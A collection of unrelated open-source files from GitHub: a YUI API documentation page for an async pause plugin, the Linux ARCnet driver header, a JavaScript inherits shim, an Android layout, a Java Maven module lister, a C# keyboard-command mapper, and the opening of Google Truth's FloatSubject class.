<title>Plugin.AsyncPause - Async Pause Plugin</title>
<link rel="stylesheet" href="http://yui.yahooapis.com/3.4.0/build/cssgrids/cssgrids-min.css">
<link rel="stylesheet" href="../assets/vendor/prettify/prettify-min.css">
<link rel="stylesheet" href="../assets/css/main.css" id="site_styles">
<script src="http://yui.yahooapis.com/3.4.0/build/yui/yui-min.js"></script>
</head>
<body class="yui3-skin-sam">
<div id="doc">
<div id="hd" class="yui3-g header">
<div class="yui3-u-3-4">
<h1><img src="../assets/css/logo.png"></h1>
</div>
<div class="yui3-u-1-4 version">
<em>API Docs for: undefined</em>
</div>
</div>
<div id="bd" class="yui3-g">
<div class="yui3-u-1-4">
<div id="docs-sidebar" class="sidebar apidocs">
<div id="api-list">
<h2 class="off-left">APIs</h2>
<div id="api-tabview" class="tabview">
<ul class="tabs">
<li><a href="#api-classes">Classes</a></li>
<li><a href="#api-modules">Modules</a></li>
</ul>
<div id="api-tabview-filter">
<input type="search" id="api-filter" placeholder="Type to filter APIs">
</div>
<div id="api-tabview-panel">
<ul id="api-classes" class="apis classes">
<li><a href="../classes/Async.html">Async</a></li>
<li><a href="../classes/AsyncCommand.html">AsyncCommand</a></li>
<li><a href="../classes/Plugin.AsyncPause.html">Plugin.AsyncPause</a></li>
</ul>
<ul id="api-modules" class="apis modules">
<li><a href="../modules/gallery-async.html">gallery-async</a></li>
<li><a href="../modules/gallery-async-command.html">gallery-async-command</a></li>
<li><a href="../modules/gallery-async-pause.html">gallery-async-pause</a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
<div class="yui3-u-3-4">
<div id="api-options">
Show:
<label for="api-show-inherited">
<input type="checkbox" id="api-show-inherited" checked>
Inherited
</label>
<label for="api-show-protected">
<input type="checkbox" id="api-show-protected">
Protected
</label>
<label for="api-show-private">
<input type="checkbox" id="api-show-private">
Private
</label>
</div>
<div class="apidocs">
<div id="docs-main" class="content">
<h1>Plugin.AsyncPause Class</h1>
<div class="box meta">
<div class="extends">
Extends Plugin.Base
</div>
<div class="foundat">
Defined in: <a href="../files/js_async-pause.js.html#l18"><code>js/async-pause.js:18</code></a>
</div>
</div>
<div class="box intro">
<p>Asynchronous command runner pause plugin.</p>
</div>
<div id="classdocs" class="tabview">
<ul class="api-class-tabs">
<li class="api-class-tab index"><a href="#index">Index</a></li>
<li class="api-class-tab methods"><a href="#methods">Methods</a></li>
<li class="api-class-tab attrs"><a href="#attrs">Attributes</a></li>
</ul>
<div>
<div id="index" class="api-class-tabpanel index">
<h2 class="off-left">Item Index</h2>
<div class="index-section methods">
<h3>Methods</h3>
<ul class="index-list methods">
<li class="index-item method">
<a href="#method_pause">pause</a>
</li>
<li class="index-item method">
<a href="#method_resume">resume</a>
</li>
</ul>
</div>
<div class="index-section attrs">
<h3>Attributes</h3>
<ul class="index-list attrs">
<li class="index-item attr protected">
<a href="#attr__args">_args</a>
</li>
<li class="index-item attr protected">
<a href="#attr__resumed">_resumed</a>
</li>
<li class="index-item attr">
<a href="#attr_paused">paused</a>
</li>
</ul>
</div>
</div>
<div id="methods" class="api-class-tabpanel">
<h2 class="off-left">Methods</h2>
<div id="method_pause" class="method item">
<h3 class="name"><code>pause</code></h3>
<span class="paren">()</span>
<span class="flag chainable">chainable</span>
<div class="meta">
<p>Defined in
<a href="../files/js_async-pause.js.html#l40"><code>js/async-pause.js:40</code></a></p>
</div>
<div class="description">
<p>Pause the run. Does not stop a command that is currently running,
the run will pause before the next command runs.</p>
</div>
</div>
<div id="method_resume" class="method item">
<h3 class="name"><code>resume</code></h3>
<span class="paren">()</span>
<span class="flag chainable">chainable</span>
<div class="meta">
<p>Defined in
<a href="../files/js_async-pause.js.html#l49"><code>js/async-pause.js:49</code></a></p>
</div>
<div class="description">
<p>Resumes a paused run. If a command is currently running, the paused
state may not be updated immediately. Resume does nothing if the run
is not paused or not started yet or already complete.</p>
</div>
</div>
</div>
<div id="attrs" class="api-class-tabpanel">
<h2 class="off-left">Attributes</h2>
<div id="attr__args" class="attr item protected">
<a name="config__args"></a>
<h3 class="name"><code>_args</code></h3>
<span class="type"><a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array" class="crosslink external" target="_blank">Array</a></span>
<span class="flag protected">protected</span>
<div class="meta">
<p>Defined in
<a href="../files/js_async-pause.js.html#l114"><code>js/async-pause.js:114</code></a></p>
</div>
<div class="description">
<p>Paused _runQueue arguments.</p>
</div>
<div class="emits box">
<h4>Fires event <code>_argsChange</code></h4>
<p>
Fires when the value for the configuration attribute <code>_args</code> is
changed. You can listen for the event using the <code>on</code> method if you
wish to be notified before the attribute's value has changed, or
using the <code>after</code> method if you wish to be notified after the
attribute's value has changed.
</p>
<div class="params">
<h4>Parameters:</h4>
<ul class="params-list">
<li class="param">
<code class="param-name">e</code>
<span class="type">EventFacade</span>
<div class="param-description">
An Event Facade object with the following
attribute-specific properties added:
</div>
<ul class="params-list">
<li class="param">
<code class="param-name">prevVal</code>
<span class="type">Any</span>
<div class="param-description">The value of the attribute, prior to it being set.</div>
</li>
<li class="param">
<code class="param-name">newVal</code>
<span class="type">Any</span>
<div class="param-description">The value the attribute is to be set to.</div>
</li>
<li class="param">
<code class="param-name">attrName</code>
<span class="type"><a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String" class="crosslink external" target="_blank">String</a></span>
<div class="param-description">The name of the attribute being set.</div>
</li>
<li class="param">
<code class="param-name">subAttrName</code>
<span class="type"><a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String" class="crosslink external" target="_blank">String</a></span>
<div class="param-description">If setting a property within the attribute's value, the name of the sub-attribute property being set.</div>
</li>
</ul>
</li>
</ul>
</div>
</div>
</div>
<div id="attr__resumed" class="attr item protected">
<a name="config__resumed"></a>
<h3 class="name"><code>_resumed</code></h3>
<span class="type"><a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array" class="crosslink external" target="_blank">Array</a></span>
<span class="flag protected">protected</span>
<div class="meta">
<p>Defined in
<a href="../files/js_async-pause.js.html#l125"><code>js/async-pause.js:125</code></a></p>
</div>
<div class="description">
<p>Boolean value indicating the resumed status of the run.</p>
</div>
<div class="emits box">
<h4>Fires event <code>_resumedChange</code></h4>
<p>
Fires when the value for the configuration attribute <code>_resumed</code> is
changed. You can listen for the event using the <code>on</code> method if you
wish to be notified before the attribute's value has changed, or
using the <code>after</code> method if you wish to be notified after the
attribute's value has changed.
</p>
<div class="params">
<h4>Parameters:</h4>
<ul class="params-list">
<li class="param">
<code class="param-name">e</code>
<span class="type">EventFacade</span>
<div class="param-description">
An Event Facade object with the following
attribute-specific properties added:
</div>
<ul class="params-list">
<li class="param">
<code class="param-name">prevVal</code>
<span class="type">Any</span>
<div class="param-description">The value of the attribute, prior to it being set.</div>
</li>
<li class="param">
<code class="param-name">newVal</code>
<span class="type">Any</span>
<div class="param-description">The value the attribute is to be set to.</div>
</li>
<li class="param">
<code class="param-name">attrName</code>
<span class="type"><a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String" class="crosslink external" target="_blank">String</a></span>
<div class="param-description">The name of the attribute being set.</div>
</li>
<li class="param">
<code class="param-name">subAttrName</code>
<span class="type"><a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String" class="crosslink external" target="_blank">String</a></span>
<div class="param-description">If setting a property within the attribute's value, the name of the sub-attribute property being set.</div>
</li>
</ul>
</li>
</ul>
</div>
</div>
</div>
<div id="attr_paused" class="attr item">
<a name="config_paused"></a>
<h3 class="name"><code>paused</code></h3>
<span class="type"><a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Boolean" class="crosslink external" target="_blank">Boolean</a></span>
<div class="meta">
<p>Defined in
<a href="../files/js_async-pause.js.html#l103"><code>js/async-pause.js:103</code></a></p>
</div>
<div class="description">
<p>Boolean value indicating the paused status of the run.</p>
</div>
<p><strong>Default:</strong> false</p>
<div class="emits box">
<h4>Fires event <code>pausedChange</code></h4>
<p>
Fires when the value for the configuration attribute <code>paused</code> is
changed. You can listen for the event using the <code>on</code> method if you
wish to be notified before the attribute's value has changed, or
using the <code>after</code> method if you wish to be notified after the
attribute's value has changed.
</p>
<div class="params">
<h4>Parameters:</h4>
<ul class="params-list">
<li class="param">
<code class="param-name">e</code>
<span class="type">EventFacade</span>
<div class="param-description">
An Event Facade object with the following
attribute-specific properties added:
</div>
<ul class="params-list">
<li class="param">
<code class="param-name">prevVal</code>
<span class="type">Any</span>
<div class="param-description">The value of the attribute, prior to it being set.</div>
</li>
<li class="param">
<code class="param-name">newVal</code>
<span class="type">Any</span>
<div class="param-description">The value the attribute is to be set to.</div>
</li>
<li class="param">
<code class="param-name">attrName</code>
<span class="type"><a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String" class="crosslink external" target="_blank">String</a></span>
<div class="param-description">The name of the attribute being set.</div>
</li>
<li class="param">
<code class="param-name">subAttrName</code>
<span class="type"><a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String" class="crosslink external" target="_blank">String</a></span>
<div class="param-description">If setting a property within the attribute's value, the name of the sub-attribute property being set.</div>
</li>
</ul>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="../assets/vendor/prettify/prettify-min.js"></script>
<script>prettyPrint();</script>
<script src="../assets/js/yui-prettify.js"></script>
<!--script src="../assets/js/tabs.js"></script-->
<script src="../assets/../api.js"></script>
<script src="../assets/js/api-filter.js"></script>
<script src="../assets/js/api-list.js"></script>
<script src="../assets/js/api-search.js"></script>
<script src="../assets/js/apidocs.js"></script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
/*
* INET An implementation of the TCP/IP protocol suite for the LINUX
* operating system. NET is implemented using the BSD Socket
* interface as the means of communication with the user level.
*
* Definitions used by the ARCnet driver.
*
* Authors: Avery Pennarun and David Woodhouse
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*
*/
#ifndef _LINUX_ARCDEVICE_H
#define _LINUX_ARCDEVICE_H
#include <asm/timex.h>
#include <linux/if_arcnet.h>
#ifdef __KERNEL__
#include <linux/interrupt.h>
/*
* RECON_THRESHOLD is the maximum number of RECON messages to receive
* within one minute before printing a "cabling problem" warning. The
* default value should be fine.
*
* After that, a "cabling restored" message will be printed on the next IRQ
* if no RECON messages have been received for 10 seconds.
*
* Do not define RECON_THRESHOLD at all if you want to disable this feature.
*/
#define RECON_THRESHOLD 30
/*
* Define this to the minimum "timeout" value. If a transmit takes longer
* than TX_TIMEOUT jiffies, Linux will abort the TX and retry. On a large
* network, or one with heavy network traffic, this timeout may need to be
* increased. The larger it is, though, the longer it will be between
* necessary transmits - don't set this too high.
*/
#define TX_TIMEOUT (HZ * 200 / 1000)
/* Display warnings about the driver being an ALPHA version. */
#undef ALPHA_WARNING
/*
* Debugging bitflags: each option can be enabled individually.
*
* Note: only debug flags included in the ARCNET_DEBUG_MAX define will
* actually be available. GCC will (at least, GCC 2.7.0 will) notice
* lines using a BUGLVL not in ARCNET_DEBUG_MAX and automatically optimize
* them out.
*/
#define D_NORMAL 1 /* important operational info */
#define D_EXTRA 2 /* useful, but non-vital information */
#define D_INIT 4 /* show init/probe messages */
#define D_INIT_REASONS 8 /* show reasons for discarding probes */
#define D_RECON 32 /* print a message whenever token is lost */
#define D_PROTO 64 /* debug auto-protocol support */
/* debug levels below give LOTS of output during normal operation! */
#define D_DURING 128 /* trace operations (including irq's) */
#define D_TX 256 /* show tx packets */
#define D_RX 512 /* show rx packets */
#define D_SKB 1024 /* show skb's */
#define D_SKB_SIZE 2048 /* show skb sizes */
#define D_TIMING 4096 /* show time needed to copy buffers to card */
#define D_DEBUG 8192 /* Very detailed debug line for line */
#ifndef ARCNET_DEBUG_MAX
#define ARCNET_DEBUG_MAX (127) /* change to ~0 if you want detailed debugging */
#endif
#ifndef ARCNET_DEBUG
#define ARCNET_DEBUG (D_NORMAL | D_EXTRA)
#endif
extern int arcnet_debug;
#define BUGLVL(x) ((x) & ARCNET_DEBUG_MAX & arcnet_debug)
/* macros to simplify debug checking */
#define arc_printk(x, dev, fmt, ...) \
do { \
if (BUGLVL(x)) { \
if ((x) == D_NORMAL) \
netdev_warn(dev, fmt, ##__VA_ARGS__); \
else if ((x) < D_DURING) \
netdev_info(dev, fmt, ##__VA_ARGS__); \
else \
netdev_dbg(dev, fmt, ##__VA_ARGS__); \
} \
} while (0)
#define arc_cont(x, fmt, ...) \
do { \
if (BUGLVL(x)) \
pr_cont(fmt, ##__VA_ARGS__); \
} while (0)
/* see how long a function call takes to run, expressed in CPU cycles */
#define TIME(dev, name, bytes, call) \
do { \
if (BUGLVL(D_TIMING)) { \
unsigned long _x, _y; \
_x = get_cycles(); \
call; \
_y = get_cycles(); \
arc_printk(D_TIMING, dev, \
"%s: %d bytes in %lu cycles == %lu Kbytes/100Mcycle\n", \
name, bytes, _y - _x, \
100000000 / 1024 * bytes / (_y - _x + 1)); \
} else { \
call; \
} \
} while (0)
/*
* Time needed to reset the card - in ms (milliseconds). This works on my
* SMC PC100. I can't find a reference that tells me just how long I
* should wait.
*/
#define RESETtime (300)
/*
* These are the max/min lengths of packet payload, not including the
* arc_hardware header, but definitely including the soft header.
*
* Note: packet sizes 254, 255, 256 are impossible because of the way
* ARCnet registers work That's why RFC1201 defines "exception" packets.
* In non-RFC1201 protocols, we have to just tack some extra bytes on the
* end.
*/
#define MTU 253 /* normal packet max size */
#define MinTU 257 /* extended packet min size */
#define XMTU 508 /* extended packet max size */
/* status/interrupt mask bit fields */
#define TXFREEflag 0x01 /* transmitter available */
#define TXACKflag 0x02 /* transmitted msg. ackd */
#define RECONflag 0x04 /* network reconfigured */
#define TESTflag 0x08 /* test flag */
#define EXCNAKflag 0x08 /* excesive nak flag */
#define RESETflag 0x10 /* power-on-reset */
#define RES1flag 0x20 /* reserved - usually set by jumper */
#define RES2flag 0x40 /* reserved - usually set by jumper */
#define NORXflag 0x80 /* receiver inhibited */
/* Flags used for IO-mapped memory operations */
#define AUTOINCflag 0x40 /* Increase location with each access */
#define IOMAPflag 0x02 /* (for 90xx) Use IO mapped memory, not mmap */
#define ENABLE16flag 0x80 /* (for 90xx) Enable 16-bit mode */
/* in the command register, the following bits have these meanings:
* 0-2 command
* 3-4 page number (for enable rcv/xmt command)
* 7 receive broadcasts
*/
#define NOTXcmd 0x01 /* disable transmitter */
#define NORXcmd 0x02 /* disable receiver */
#define TXcmd 0x03 /* enable transmitter */
#define RXcmd 0x04 /* enable receiver */
#define CONFIGcmd 0x05 /* define configuration */
#define CFLAGScmd 0x06 /* clear flags */
#define TESTcmd 0x07 /* load test flags */
#define STARTIOcmd 0x18 /* start internal operation */
/* flags for "clear flags" command */
#define RESETclear 0x08 /* power-on-reset */
#define CONFIGclear 0x10 /* system reconfigured */
#define EXCNAKclear 0x0E /* Clear and acknowledge the excive nak bit */
/* flags for "load test flags" command */
#define TESTload 0x08 /* test flag (diagnostic) */
/* byte deposited into first address of buffers on reset */
#define TESTvalue 0321 /* that's octal for 0xD1 :) */
/* for "enable receiver" command */
#define RXbcasts 0x80 /* receive broadcasts */
/* flags for "define configuration" command */
#define NORMALconf 0x00 /* 1-249 byte packets */
#define EXTconf 0x08 /* 250-504 byte packets */
/* card feature flags, set during auto-detection.
* (currently only used by com20020pci)
*/
#define ARC_IS_5MBIT 1 /* card default speed is 5MBit */
#define ARC_CAN_10MBIT 2 /* card uses COM20022, supporting 10MBit,
but default is 2.5MBit. */
/* information needed to define an encapsulation driver */
struct ArcProto {
char suffix; /* a for RFC1201, e for ether-encap, etc. */
int mtu; /* largest possible packet */
int is_ip; /* This is a ip plugin - not a raw thing */
void (*rx)(struct net_device *dev, int bufnum,
struct archdr *pkthdr, int length);
int (*build_header)(struct sk_buff *skb, struct net_device *dev,
unsigned short ethproto, uint8_t daddr);
/* these functions return '1' if the skb can now be freed */
int (*prepare_tx)(struct net_device *dev, struct archdr *pkt,
int length, int bufnum);
int (*continue_tx)(struct net_device *dev, int bufnum);
int (*ack_tx)(struct net_device *dev, int acked);
};
extern struct ArcProto *arc_proto_map[256], *arc_proto_default,
*arc_bcast_proto, *arc_raw_proto;
/*
* "Incoming" is information needed for each address that could be sending
* to us. Mostly for partially-received split packets.
*/
struct Incoming {
struct sk_buff *skb; /* packet data buffer */
__be16 sequence; /* sequence number of assembly */
uint8_t lastpacket, /* number of last packet (from 1) */
numpackets; /* number of packets in split */
};
/* only needed for RFC1201 */
struct Outgoing {
struct ArcProto *proto; /* protocol driver that owns this:
* if NULL, no packet is pending.
*/
struct sk_buff *skb; /* buffer from upper levels */
struct archdr *pkt; /* a pointer into the skb */
uint16_t length, /* bytes total */
dataleft, /* bytes left */
segnum, /* segment being sent */
numsegs; /* number of segments */
};
#define ARCNET_LED_NAME_SZ (IFNAMSIZ + 6)
struct arcnet_local {
uint8_t config, /* current value of CONFIG register */
timeout, /* Extended timeout for COM20020 */
backplane, /* Backplane flag for COM20020 */
clockp, /* COM20020 clock divider */
clockm, /* COM20020 clock multiplier flag */
setup, /* Contents of setup1 register */
setup2, /* Contents of setup2 register */
intmask; /* current value of INTMASK register */
uint8_t default_proto[256]; /* default encap to use for each host */
int cur_tx, /* buffer used by current transmit, or -1 */
next_tx, /* buffer where a packet is ready to send */
cur_rx; /* current receive buffer */
int lastload_dest, /* can last loaded packet be acked? */
lasttrans_dest; /* can last TX'd packet be acked? */
int timed_out; /* need to process TX timeout and drop packet */
unsigned long last_timeout; /* time of last reported timeout */
char *card_name; /* card ident string */
int card_flags; /* special card features */
/* On preemtive and SMB a lock is needed */
spinlock_t lock;
struct led_trigger *tx_led_trig;
char tx_led_trig_name[ARCNET_LED_NAME_SZ];
struct led_trigger *recon_led_trig;
char recon_led_trig_name[ARCNET_LED_NAME_SZ];
struct timer_list timer;
struct net_device *dev;
int reply_status;
struct tasklet_struct reply_tasklet;
/*
* Buffer management: an ARCnet card has 4 x 512-byte buffers, each of
* which can be used for either sending or receiving. The new dynamic
* buffer management routines use a simple circular queue of available
* buffers, and take them as they're needed. This way, we simplify
* situations in which we (for example) want to pre-load a transmit
* buffer, or start receiving while we copy a received packet to
* memory.
*
* The rules: only the interrupt handler is allowed to _add_ buffers to
* the queue; thus, this doesn't require a lock. Both the interrupt
* handler and the transmit function will want to _remove_ buffers, so
* we need to handle the situation where they try to do it at the same
* time.
*
* If next_buf == first_free_buf, the queue is empty. Since there are
* only four possible buffers, the queue should never be full.
*/
atomic_t buf_lock;
int buf_queue[5];
int next_buf, first_free_buf;
/* network "reconfiguration" handling */
unsigned long first_recon; /* time of "first" RECON message to count */
unsigned long last_recon; /* time of most recent RECON */
int num_recons; /* number of RECONs between first and last. */
int network_down; /* do we think the network is down? */
int excnak_pending; /* We just got an excesive nak interrupt */
struct {
uint16_t sequence; /* sequence number (incs with each packet) */
__be16 aborted_seq;
struct Incoming incoming[256]; /* one from each address */
} rfc1201;
/* really only used by rfc1201, but we'll pretend it's not */
struct Outgoing outgoing; /* packet currently being sent */
/* hardware-specific functions */
struct {
struct module *owner;
void (*command)(struct net_device *dev, int cmd);
int (*status)(struct net_device *dev);
void (*intmask)(struct net_device *dev, int mask);
int (*reset)(struct net_device *dev, int really_reset);
void (*open)(struct net_device *dev);
void (*close)(struct net_device *dev);
void (*datatrigger) (struct net_device * dev, int enable);
void (*recontrigger) (struct net_device * dev, int enable);
void (*copy_to_card)(struct net_device *dev, int bufnum,
int offset, void *buf, int count);
void (*copy_from_card)(struct net_device *dev, int bufnum,
int offset, void *buf, int count);
} hw;
void __iomem *mem_start; /* pointer to ioremap'ed MMIO */
};
enum arcnet_led_event {
ARCNET_LED_EVENT_RECON,
ARCNET_LED_EVENT_OPEN,
ARCNET_LED_EVENT_STOP,
ARCNET_LED_EVENT_TX,
};
void arcnet_led_event(struct net_device *netdev, enum arcnet_led_event event);
void devm_arcnet_led_init(struct net_device *netdev, int index, int subid);
#if ARCNET_DEBUG_MAX & D_SKB
void arcnet_dump_skb(struct net_device *dev, struct sk_buff *skb, char *desc);
#else
static inline
void arcnet_dump_skb(struct net_device *dev, struct sk_buff *skb, char *desc)
{
}
#endif
void arcnet_unregister_proto(struct ArcProto *proto);
irqreturn_t arcnet_interrupt(int irq, void *dev_id);
struct net_device *alloc_arcdev(const char *name);
int arcnet_open(struct net_device *dev);
int arcnet_close(struct net_device *dev);
netdev_tx_t arcnet_send_packet(struct sk_buff *skb,
struct net_device *dev);
void arcnet_timeout(struct net_device *dev);
/* I/O equivalents */
#ifdef CONFIG_SA1100_CT6001
#define BUS_ALIGN 2 /* 8 bit device on a 16 bit bus - needs padding */
#else
#define BUS_ALIGN 1
#endif
/* addr and offset allow register like names to define the actual IO address.
* A configuration option multiplies the offset for alignment.
*/
#define arcnet_inb(addr, offset) \
inb((addr) + BUS_ALIGN * (offset))
#define arcnet_outb(value, addr, offset) \
outb(value, (addr) + BUS_ALIGN * (offset))
#define arcnet_insb(addr, offset, buffer, count) \
insb((addr) + BUS_ALIGN * (offset), buffer, count)
#define arcnet_outsb(addr, offset, buffer, count) \
outsb((addr) + BUS_ALIGN * (offset), buffer, count)
#define arcnet_readb(addr, offset) \
readb((addr) + (offset))
#define arcnet_writeb(value, addr, offset) \
writeb(value, (addr) + (offset))
#endif /* __KERNEL__ */
#endif /* _LINUX_ARCDEVICE_H */
| {
"pile_set_name": "Github"
} |
if (typeof Object.create === 'function') {
// implementation from standard node.js 'util' module
module.exports = function inherits(ctor, superCtor) {
ctor.super_ = superCtor
ctor.prototype = Object.create(superCtor.prototype, {
constructor: {
value: ctor,
enumerable: false,
writable: true,
configurable: true
}
});
};
} else {
// old school shim for old browsers
module.exports = function inherits(ctor, superCtor) {
ctor.super_ = superCtor
var TempCtor = function () {}
TempCtor.prototype = superCtor.prototype
ctor.prototype = new TempCtor()
ctor.prototype.constructor = ctor
}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<com.yiyuanliu.flipgank.view.NormalItem
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:padding="8dp"
android:background="?selectableItemBackground"
xmlns:tools="http://schemas.android.com/tools">
<TextView
android:id="@+id/title"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:layout_marginBottom="48dp"
android:layout_marginRight="36dp"
android:layout_weight="1"
android:textSize="18dp"
android:lines="2"
android:textColor="@color/textColorPrimary"
android:ellipsize="end"
android:lineSpacingMultiplier="1.2"
tools:text="@string/test_long_title"/>
<ImageButton
android:id="@+id/show_bottom"
android:layout_width="36dp"
android:layout_height="36dp"
android:layout_gravity="right"
android:background="?selectableItemBackgroundBorderless"
android:src="@drawable/ic_expand"
android:tint="@color/dividerColor"/>
<TextView
android:id="@+id/type"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:layout_weight="1"
android:gravity="center_vertical"
android:layout_gravity="left|bottom"
android:textSize="14dp"
android:textColor="@color/textColorSecondary"
tools:text="Android"/>
<ImageButton
android:id="@+id/like"
android:layout_width="36dp"
android:layout_height="36dp"
android:layout_gravity="right|bottom"
android:background="?selectableItemBackgroundBorderless"
android:src="@drawable/bt_unlike"
android:clickable="true"/>
</com.yiyuanliu.flipgank.view.NormalItem> | {
"pile_set_name": "Github"
} |
package com.lcw.one.codegen.util;
import org.apache.maven.model.Model;
import org.apache.maven.model.io.xpp3.MavenXpp3Reader;
import org.codehaus.plexus.util.xml.pull.XmlPullParserException;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.List;
public class PomUtils {
public static List<String> listModule() {
List<String> modules = null;
try {
String pomPath = CodeGenUtil.BASE_PATH + File.separator + "pom.xml";
MavenXpp3Reader reader = new MavenXpp3Reader();
Model model = reader.read(new FileInputStream(pomPath));
modules = model.getModules();
} catch (IOException e) {
e.printStackTrace();
} catch (XmlPullParserException e) {
e.printStackTrace();
}
return modules;
}
}
| {
"pile_set_name": "Github"
} |
using System.Collections.Generic;
namespace Primrose
{
/// <summary>
/// Translates operating system-specific Browser KeyboardEvents into a
/// cross-platform Gesture that can then be dispatched to a CommandPack
/// for translation to an EditorCommand.
/// </summary>
public class OperatingSystem
{
public static readonly OperatingSystem Windows = new OperatingSystem(
"Windows",
"Control", "Control",
"Control_y",
"", "Home", "End",
"Control", "Home", "End");
public static readonly OperatingSystem MacOS = new OperatingSystem(
"macOS",
"Meta", "Alt",
"MetaShift_z",
"Meta", "ArrowLeft", "ArrowRight",
"Meta", "ArrowUp", "ArrowDown");
public string name { get; }
private readonly Dictionary<string, string> substitutions;
public OperatingSystem(string osName, string pre1, string pre2, string redo, string pre3, string home, string end, string pre5, string fullHome, string fullEnd)
{
name = osName;
var pre4 = pre3;
if (pre3.Length == 0)
{
pre3 = "Normal";
}
substitutions = new Dictionary<string, string>() {
{ "Normal_ArrowDown", "CursorDown" },
{ "Normal_ArrowLeft", "CursorLeft" },
{ "Normal_ArrowRight", "CursorRight" },
{ "Normal_ArrowUp", "CursorUp" },
{ "Normal_PageDown", "CursorPageDown" },
{ "Normal_PageUp", "CursorPageUp" },
{ $"{pre2}_ArrowLeft", "CursorSkipLeft" },
{ $"{pre2}_ArrowRight", "CursorSkipRight" },
{ $"{pre3}_{home}", "CursorHome" },
{ $"{pre3}_{end}", "CursorEnd" },
{ $"{pre5}_{fullHome}", "CursorFullHome" },
{ $"{pre5}_{fullEnd}", "CursorFullEnd" },
{ "Shift_ArrowDown", "SelectDown" },
{ "Shift_ArrowLeft", "SelectLeft" },
{ "Shift_ArrowRight", "SelectRight" },
{ "Shift_ArrowUp", "SelectUp" },
{ "Shift_PageDown", "SelectPageDown" },
{ "Shift_PageUp", "SelectPageUp" },
{ $"{pre2}Shift_ArrowLeft", "SelectSkipLeft" },
{ $"{pre2}Shift_ArrowRight", "SelectSkipRight" },
{ $"{pre4}Shift_{home}", "SelectHome" },
{ $"{pre4}Shift_{end}", "SelectEnd" },
{ $"{pre5}Shift_{fullHome}", "SelectFullHome" },
{ $"{pre5}Shift_{fullEnd}", "SelectFullEnd" },
{ $"{pre1}_a", "SelectAll" },
{ $"{pre1}_ArrowDown", "ScrollDown" },
{ $"{pre1}_ArrowUp", "ScrollUp" },
{ "Normal_Backspace", "DeleteLetterLeft" },
{ "Normal_Delete", "DeleteLetterRight" },
{ $"{pre2}_Backspace", "DeleteWordLeft" },
{ $"{pre2}_Delete", "DeleteWordRight" },
{ "Shift_Delete", "DeleteLine" },
{ "Normal_Enter", "AppendNewline" },
{ $"{pre2}_Enter", "PrependNewline" },
{ "Normal_Tab", "InsertTab" },
{ "Shift_Tab", "RemoveTab" },
{ $"{pre1}_z", "Undo" },
{ redo, "Redo" }
};
}
public Gesture makeCommand(KeyEvent evt)
{
var gesture = new Gesture();
gesture.text = Keys.normalizeKeyValue(evt);
gesture.type = Keys.keyTypes.ContainsKey(gesture.text)
? Keys.keyTypes[gesture.text]
: "printable";
if (evt.ctrlKey
|| evt.altKey
|| evt.metaKey)
{
if (gesture.type == "printable"
|| gesture.type == "whitespace")
{
gesture.type = "special";
}
if (evt.ctrlKey)
{
gesture.command += "Control";
}
if (evt.altKey)
{
gesture.command += "Alt";
}
if (evt.metaKey)
{
gesture.command += "Meta";
}
}
if (evt.shiftKey)
{
gesture.command += "Shift";
}
if (gesture.command == "")
{
gesture.command += "Normal";
}
gesture.command += "_" + gesture.text;
if (substitutions.ContainsKey(gesture.command))
{
gesture.command = substitutions[gesture.command];
}
if (gesture.command == "PrependNewline")
{
gesture.type = "whitespace";
}
return gesture;
}
}
} | {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2014 Google, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.truth;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.truth.Fact.fact;
import static com.google.common.truth.Fact.simpleFact;
import static com.google.common.truth.MathUtil.equalWithinTolerance;
import static com.google.common.truth.MathUtil.notEqualWithinTolerance;
import static com.google.common.truth.Platform.floatToString;
import static java.lang.Float.NaN;
import static java.lang.Float.floatToIntBits;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* Propositions for {@link Float} subjects.
*
* @author Kurt Alfred Kluever
*/
public final class FloatSubject extends ComparableSubject<Float> {
private static final int NEG_ZERO_BITS = floatToIntBits(-0.0f);
private final Float actual;
private final DoubleSubject asDouble;
FloatSubject(FailureMetadata metadata, @Nullable Float actual) {
super(metadata, actual);
this.actual = actual;
/*
* Doing anything with the FailureMetadata besides passing it to super(...) is generally bad
* practice. For an explanation of why it works out OK here, see LiteProtoSubject.
*
* An alternative approach would be to reimplement isLessThan, etc. here.
*/
this.asDouble = new DoubleSubject(metadata, actual == null ? null : Double.valueOf(actual));
}
/**
* A partially specified check about an approximate relationship to a {@code float} subject using
* a tolerance.
*/
public abstract static class TolerantFloatComparison {
// Prevent subclassing outside of this class
private TolerantFloatComparison() {}
/**
* Fails if the subject was expected to be within the tolerance of the given value but was not
* <i>or</i> if it was expected <i>not</i> to be within the tolerance but was. The subject and
* tolerance are specified earlier in the fluent call chain.
*/
public abstract void of(float expectedFloat);
/**
* @throws UnsupportedOperationException always
* @deprecated {@link Object#equals(Object)} is not supported on TolerantFloatComparison. If you
